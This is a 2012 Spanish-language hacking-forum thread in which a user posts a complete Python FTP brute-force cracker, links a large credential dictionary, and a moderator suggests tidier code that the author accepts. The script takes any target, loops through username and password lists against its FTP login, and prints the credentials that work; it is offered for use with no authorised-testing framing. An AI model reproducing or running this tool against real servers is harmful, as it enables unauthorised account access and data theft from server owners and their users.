Comunidad Underground Hispana  

Retroceder   Comunidad Underground Hispana > Programacion > Python


Respuesta Crear Nuevo Tema
 
LinkBack Herramientas Desplegado
Antiguo 19-may-2012, 20:02   #1
Recien llegado
 
Avatar de runex
 
Fecha de Ingreso: abril-2012
Amigos 0
Mensajes: 12
Gracias: 0
Agradecido 1 vez en 1 mensaje.
Predeterminado BruteForce Ftp Python

Es un cracker ftp que, mediante fuerza bruta con la ayuda de un diccionario, intentará extraer la información de los usuarios del servidor ftp.

En algunos servidores va bastante lento ( no sé la causa aún ) pero de normal, va perfecto.

Y os adjunto también un diccionario, con 311048 usuarios, haced una copia y renombradla a passwords.txt, así cargará el cracker nuestro diccionario.

El link es éste:

[Solo usuarios registrados pueden ver los links. REGISTRARSE]



Código:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import ftplib
 
class ftp_brute_force:
	def __init__(self,conectftp,target):
		self.listausuarios,self.listapasswords,self.conectftp,self.target,self.contadorus,self.contadorpas = ([],[],conectftp,target,0,0)
		print "\n[+] Cargando los diccionarios,esto puede tardar unos segundos... [+]"
		try:
			self.users = open("usuarios.txt","r")
			self.passwords = open("passwords.txt","r")
		except:
			print "\n	[-] No existen los diccionarios"
			exit()
		for self.user in self.users.readlines():
			self.listausuarios.append(self.user)
			self.contadorus += 1
		for self.password in self.passwords.readlines():
			self.listapasswords.append(self.password)
			self.contadorpas += 1
		self.users.close()
		self.passwords.close()
		print "\n[+] Diccionarios Cargados: " + str(self.contadorus) + " Usuarios y " + str(self.contadorpas) + " Passwords [+]"
		print "\n[+] Combinaciones posibles: " + str(self.contadorus*self.contadorpas) +" [+]"
		print "\n[+] Ataque iniciado,puede llevar bastante tiempo, no cierre el programa [+]\n\n"
		self.bruteforce()
	def bruteforce(self):			
		for self.user in self.listausuarios:
			for self.password in self.listapasswords:
				try:
					self.conectftp.login(self.user,self.password)
					print "Los datos son --> " + self.user + " y " + self.password
					self.conectftp.quit()
					self.conectftp.close()
					self.conectftp = ftplib.FTP(self.target)
					raw_input()						
				except:
					print self.user + " y " + self.password + " no son correctos"
					self.conectftp.quit()
					self.conectftp.close()
					self.conectftp = ftplib.FTP(self.target)
 
		print " [-] No se han podido extraer datos."
 
if __name__ == '__main__':
	print "			[+]   FTP CRACKER BY RUNE   [+]\n\n\n"
	target = raw_input("\n\nIntroduce el target [+] > ")
	try:
		conectftp = ftplib.FTP(target)
	except:
		print "	\n[-] No existe el target"
		exit()
	instancia = ftp_brute_force(conectftp,target)
  
Un saludo, Runex
runex está desconectado   Responder Citando
Antiguo 20-may-2012, 07:07   #2
Moderador
 
Avatar de ajr784
 
Fecha de Ingreso: marzo-2007
Amigos 5
Mensajes: 1.457
Gracias: 18
Agradecido 275 veces en 244 mensajes.
Predeterminado Respuesta: BruteForce Ftp Python

Muy bueno, un par de observaciones:
Si mal no recuerdo, file.readlines() te devuelve un arreglo de string donde cada elemento es una línea del archivo.

Segundo, en python tienes la función len(arreglo), que te devuelve la cantidad de elementos de un arreglo. Así tu código quedaría más consiso:
Código:
self.listausuarios = usuarios.readlines()
self.listapasswords = passwords.readlines()

self.cantusuarios = len(self.listausuarios)
self.cantpasswords = len(self.listapasswords)
  
__________________
Hay pocas frases que me identifican tanto
Cita:
Iniciado por Cuarteto de Nos
Casi nunca veo la foto
Tuya en mi celular
Sigue ahí por la pereza
Que me da apretar "borrar"
-Enamorado Tuyo-
ajr784 está desconectado   Responder Citando
Antiguo 25-may-2012, 18:44   #3
Recien llegado
 
Avatar de runex
 
Fecha de Ingreso: abril-2012
Amigos 0
Mensajes: 12
Gracias: 0
Agradecido 1 vez en 1 mensaje.
Predeterminado Respuesta: BruteForce Ftp Python

Cita:
Iniciado por ajr784 Ver Mensaje
Muy bueno, un par de observaciones:
Si mal no recuerdo, file.readlines() te devuelve un arreglo de string donde cada elemento es una línea del archivo.

Segundo, en python tienes la función len(arreglo), que te devuelve la cantidad de elementos de un arreglo. Así tu código quedaría más consiso:
Código:
self.listausuarios = usuarios.readlines()
self.listapasswords = passwords.readlines()

self.cantusuarios = len(self.listausuarios)
self.cantpasswords = len(self.listapasswords)
  
Muy buenas observaciones se me pasó completamente que readlines() devolvía un array con las lineas del archivo y no se me había ocurrido pasarle len() .

Un saludo, Runex
runex está desconectado   Responder Citando
Respuesta

Herramientas
Desplegado

Normas de Publicación
No puedes crear nuevos temas
No puedes responder mensajes
No puedes subir archivos adjuntos
No puedes editar tus mensajes

Los Códigos BB están Activado
Las Caritas están Activado
[IMG] está Activado
El Código HTML está Desactivado
Trackbacks están Activado
Pingbacks están Activado
Refbacks están Activado



Temas Similares
Tema Autor Foro Respuestas Último mensaje
<<->> Como comenzar con Python <<->> David Novikov Python 9 20-dic-2012 16:57
[Guia] Iniciando en Python Doddy Python 63 29-ago-2011 17:04
Las primeras dos líneas de un programa python ajr784 Python 1 21-ago-2011 11:40
<<->> LIBROS - MANUALES - EBOOKs <<->> Fashion Python 1 23-jul-2011 17:35



Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.6.0